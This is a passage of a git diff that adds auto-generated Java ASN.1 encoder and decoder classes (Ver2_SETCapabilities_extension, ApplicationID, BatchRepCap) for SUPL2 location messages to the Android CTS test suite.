+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Sequence;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.SequenceComponent;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+*/
+public class Ver2_SETCapabilities_extension extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_Ver2_SETCapabilities_extension
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public Ver2_SETCapabilities_extension() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_Ver2_SETCapabilities_extension;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_Ver2_SETCapabilities_extension != null) {
+ return ImmutableList.of(TAG_Ver2_SETCapabilities_extension);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new Ver2_SETCapabilities_extension from encoded stream.
+ */
+ public static Ver2_SETCapabilities_extension fromPerUnaligned(byte[] encodedBytes) {
+ Ver2_SETCapabilities_extension result = new Ver2_SETCapabilities_extension();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new Ver2_SETCapabilities_extension from encoded stream.
+ */
+ public static Ver2_SETCapabilities_extension fromPerAligned(byte[] encodedBytes) {
+ Ver2_SETCapabilities_extension result = new Ver2_SETCapabilities_extension();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return true;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private ServiceCapabilities serviceCapabilities_;
+ public ServiceCapabilities getServiceCapabilities() {
+ return serviceCapabilities_;
+ }
+ /**
+ * @throws ClassCastException if value is not a ServiceCapabilities
+ */
+ public void setServiceCapabilities(Asn1Object value) {
+ this.serviceCapabilities_ = (ServiceCapabilities) value;
+ }
+ public ServiceCapabilities setServiceCapabilitiesToNewInstance() {
+ serviceCapabilities_ = new ServiceCapabilities();
+ return serviceCapabilities_;
+ }
+
+
+
+ private SupportedBearers extensionSupportedBearers;
+ public SupportedBearers getExtensionSupportedBearers() {
+ return extensionSupportedBearers;
+ }
+ /**
+ * @throws ClassCastException if value is not a SupportedBearers
+ */
+ public void setExtensionSupportedBearers(Asn1Object value) {
+ extensionSupportedBearers = (SupportedBearers) value;
+ }
+ public void setExtensionSupportedBearersToNewInstance() {
+ extensionSupportedBearers = new SupportedBearers();
+ }
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getServiceCapabilities() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getServiceCapabilities();
+ }
+
+ @Override public void setToNewInstance() {
+ setServiceCapabilitiesToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? ServiceCapabilities.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "serviceCapabilities : "
+ + getServiceCapabilities().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ @Override public boolean isExplicitlySet() {
+ return getExtensionSupportedBearers() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getExtensionSupportedBearers();
+ }
+
+ @Override public void setToNewInstance() {
+ setExtensionSupportedBearersToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ throw new UnsupportedOperationException(
+ "BER decoding not supported for extension elements");
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ throw new UnsupportedOperationException(
+ "BER is not supported for extension elements");
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ throw new UnsupportedOperationException(
+ "BER is not supported for extension elements");
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "supportedBearers : "
+ + getExtensionSupportedBearers().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+
+
+
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("Ver2_SETCapabilities_extension = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/ApplicationID.java b/tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/ApplicationID.java
new file mode 100755
index 0000000..4113769
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/ApplicationID.java
@@ -0,0 +1,594 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.ver2_ulp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1IA5String;
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Sequence;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.SequenceComponent;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+*/
+public class ApplicationID extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_ApplicationID
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public ApplicationID() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_ApplicationID;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_ApplicationID != null) {
+ return ImmutableList.of(TAG_ApplicationID);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new ApplicationID from encoded stream.
+ */
+ public static ApplicationID fromPerUnaligned(byte[] encodedBytes) {
+ ApplicationID result = new ApplicationID();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new ApplicationID from encoded stream.
+ */
+ public static ApplicationID fromPerAligned(byte[] encodedBytes) {
+ ApplicationID result = new ApplicationID();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return true;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private ApplicationID.appProviderType appProvider_;
+ public ApplicationID.appProviderType getAppProvider() {
+ return appProvider_;
+ }
+ /**
+ * @throws ClassCastException if value is not a ApplicationID.appProviderType
+ */
+ public void setAppProvider(Asn1Object value) {
+ this.appProvider_ = (ApplicationID.appProviderType) value;
+ }
+ public ApplicationID.appProviderType setAppProviderToNewInstance() {
+ appProvider_ = new ApplicationID.appProviderType();
+ return appProvider_;
+ }
+
+ private ApplicationID.appNameType appName_;
+ public ApplicationID.appNameType getAppName() {
+ return appName_;
+ }
+ /**
+ * @throws ClassCastException if value is not a ApplicationID.appNameType
+ */
+ public void setAppName(Asn1Object value) {
+ this.appName_ = (ApplicationID.appNameType) value;
+ }
+ public ApplicationID.appNameType setAppNameToNewInstance() {
+ appName_ = new ApplicationID.appNameType();
+ return appName_;
+ }
+
+ private ApplicationID.appVersionType appVersion_;
+ public ApplicationID.appVersionType getAppVersion() {
+ return appVersion_;
+ }
+ /**
+ * @throws ClassCastException if value is not a ApplicationID.appVersionType
+ */
+ public void setAppVersion(Asn1Object value) {
+ this.appVersion_ = (ApplicationID.appVersionType) value;
+ }
+ public ApplicationID.appVersionType setAppVersionToNewInstance() {
+ appVersion_ = new ApplicationID.appVersionType();
+ return appVersion_;
+ }
+
+
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getAppProvider() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getAppProvider();
+ }
+
+ @Override public void setToNewInstance() {
+ setAppProviderToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? ApplicationID.appProviderType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "appProvider : "
+ + getAppProvider().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 1);
+
+ @Override public boolean isExplicitlySet() {
+ return getAppName() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getAppName();
+ }
+
+ @Override public void setToNewInstance() {
+ setAppNameToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? ApplicationID.appNameType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "appName : "
+ + getAppName().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 2);
+
+ @Override public boolean isExplicitlySet() {
+ return getAppVersion() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getAppVersion();
+ }
+
+ @Override public void setToNewInstance() {
+ setAppVersionToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? ApplicationID.appVersionType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "appVersion : "
+ + getAppVersion().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ return builder.build();
+ }
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class appProviderType extends Asn1IA5String {
+ //
+
+ private static final Asn1Tag TAG_appProviderType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public appProviderType() {
+ super();
+ setMinSize(1);
+setMaxSize(24);
+
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_appProviderType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_appProviderType != null) {
+ return ImmutableList.of(TAG_appProviderType);
+ } else {
+ return Asn1IA5String.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new appProviderType from encoded stream.
+ */
+ public static appProviderType fromPerUnaligned(byte[] encodedBytes) {
+ appProviderType result = new appProviderType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new appProviderType from encoded stream.
+ */
+ public static appProviderType fromPerAligned(byte[] encodedBytes) {
+ appProviderType result = new appProviderType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "appProviderType = " + getValue() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class appNameType extends Asn1IA5String {
+ //
+
+ private static final Asn1Tag TAG_appNameType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public appNameType() {
+ super();
+ setMinSize(1);
+setMaxSize(32);
+
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_appNameType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_appNameType != null) {
+ return ImmutableList.of(TAG_appNameType);
+ } else {
+ return Asn1IA5String.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new appNameType from encoded stream.
+ */
+ public static appNameType fromPerUnaligned(byte[] encodedBytes) {
+ appNameType result = new appNameType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new appNameType from encoded stream.
+ */
+ public static appNameType fromPerAligned(byte[] encodedBytes) {
+ appNameType result = new appNameType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "appNameType = " + getValue() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class appVersionType extends Asn1IA5String {
+ //
+
+ private static final Asn1Tag TAG_appVersionType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public appVersionType() {
+ super();
+ setMinSize(1);
+setMaxSize(8);
+
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_appVersionType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_appVersionType != null) {
+ return ImmutableList.of(TAG_appVersionType);
+ } else {
+ return Asn1IA5String.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new appVersionType from encoded stream.
+ */
+ public static appVersionType fromPerUnaligned(byte[] encodedBytes) {
+ appVersionType result = new appVersionType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new appVersionType from encoded stream.
+ */
+ public static appVersionType fromPerAligned(byte[] encodedBytes) {
+ appVersionType result = new appVersionType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "appVersionType = " + getValue() + ";\n";
+ }
+}
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("ApplicationID = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/BatchRepCap.java b/tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/BatchRepCap.java
new file mode 100755
index 0000000..4335ae4
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/BatchRepCap.java
@@ -0,0 +1,726 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.ver2_ulp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Boolean;
+import android.location.cts.asn1.base.Asn1Integer;
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Sequence;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.SequenceComponent;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+*/
+public class BatchRepCap extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_BatchRepCap
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public BatchRepCap() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_BatchRepCap;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_BatchRepCap != null) {
+ return ImmutableList.of(TAG_BatchRepCap);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new BatchRepCap from encoded stream.
+ */
+ public static BatchRepCap fromPerUnaligned(byte[] encodedBytes) {
+ BatchRepCap result = new BatchRepCap();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new BatchRepCap from encoded stream.
+ */
+ public static BatchRepCap fromPerAligned(byte[] encodedBytes) {
+ BatchRepCap result = new BatchRepCap();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return true;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private BatchRepCap.report_positionType report_position_;
+ public BatchRepCap.report_positionType getReport_position() {
+ return report_position_;
+ }
+ /**
+ * @throws ClassCastException if value is not a BatchRepCap.report_positionType
+ */
+ public void setReport_position(Asn1Object value) {
+ this.report_position_ = (BatchRepCap.report_positionType) value;
+ }
+ public BatchRepCap.report_positionType setReport_positionToNewInstance() {
+ report_position_ = new BatchRepCap.report_positionType();
+ return report_position_;
+ }
+
+ private BatchRepCap.report_measurementsType report_measurements_;
+ public BatchRepCap.report_measurementsType getReport_measurements() {
+ return report_measurements_;
+ }
+ /**
+ * @throws ClassCastException if value is not a BatchRepCap.report_measurementsType
+ */
+ public void setReport_measurements(Asn1Object value) {
+ this.report_measurements_ = (BatchRepCap.report_measurementsType) value;
+ }
+ public BatchRepCap.report_measurementsType setReport_measurementsToNewInstance() {
+ report_measurements_ = new BatchRepCap.report_measurementsType();
+ return report_measurements_;
+ }
+
+ private BatchRepCap.max_num_positionsType max_num_positions_;
+ public BatchRepCap.max_num_positionsType getMax_num_positions() {
+ return max_num_positions_;
+ }
+ /**
+ * @throws ClassCastException if value is not a BatchRepCap.max_num_positionsType
+ */
+ public void setMax_num_positions(Asn1Object value) {
+ this.max_num_positions_ = (BatchRepCap.max_num_positionsType) value;
+ }
+ public BatchRepCap.max_num_positionsType setMax_num_positionsToNewInstance() {
+ max_num_positions_ = new BatchRepCap.max_num_positionsType();
+ return max_num_positions_;
+ }
+
+ private BatchRepCap.max_num_measurementsType max_num_measurements_;
+ public BatchRepCap.max_num_measurementsType getMax_num_measurements() {
+ return max_num_measurements_;
+ }
+ /**
+ * @throws ClassCastException if value is not a BatchRepCap.max_num_measurementsType
+ */
+ public void setMax_num_measurements(Asn1Object value) {
+ this.max_num_measurements_ = (BatchRepCap.max_num_measurementsType) value;
+ }
+ public BatchRepCap.max_num_measurementsType setMax_num_measurementsToNewInstance() {
+ max_num_measurements_ = new BatchRepCap.max_num_measurementsType();
+ return max_num_measurements_;
+ }
+
+
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getReport_position() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getReport_position();
+ }
+
+ @Override public void setToNewInstance() {
+ setReport_positionToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? BatchRepCap.report_positionType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "report_position : "
+ + getReport_position().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 1);
+
+ @Override public boolean isExplicitlySet() {
+ return getReport_measurements() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getReport_measurements();
+ }
+
+ @Override public void setToNewInstance() {
+ setReport_measurementsToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? BatchRepCap.report_measurementsType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "report_measurements : "
+ + getReport_measurements().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 2);
+
+ @Override public boolean isExplicitlySet() {
+ return getMax_num_positions() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getMax_num_positions();
+ }
+
+ @Override public void setToNewInstance() {
+ setMax_num_positionsToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? BatchRepCap.max_num_positionsType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "max_num_positions : "
+ + getMax_num_positions().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 3);
+
+ @Override public boolean isExplicitlySet() {
+ return getMax_num_measurements() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getMax_num_measurements();
+ }
+
+ @Override public void setToNewInstance() {
+ setMax_num_measurementsToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? BatchRepCap.max_num_measurementsType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "max_num_measurements : "
+ + getMax_num_measurements().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ return builder.build();
+ }
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class report_positionType extends Asn1Boolean {
+ //
+
+ private static final Asn1Tag TAG_report_positionType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public report_positionType() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_report_positionType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_report_positionType != null) {
+ return ImmutableList.of(TAG_report_positionType);
+ } else {
+ return Asn1Boolean.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new report_positionType from encoded stream.
+ */
+ public static report_positionType fromPerUnaligned(byte[] encodedBytes) {
+ report_positionType result = new report_positionType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new report_positionType from encoded stream.
+ */
+ public static report_positionType fromPerAligned(byte[] encodedBytes) {
+ report_positionType result = new report_positionType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
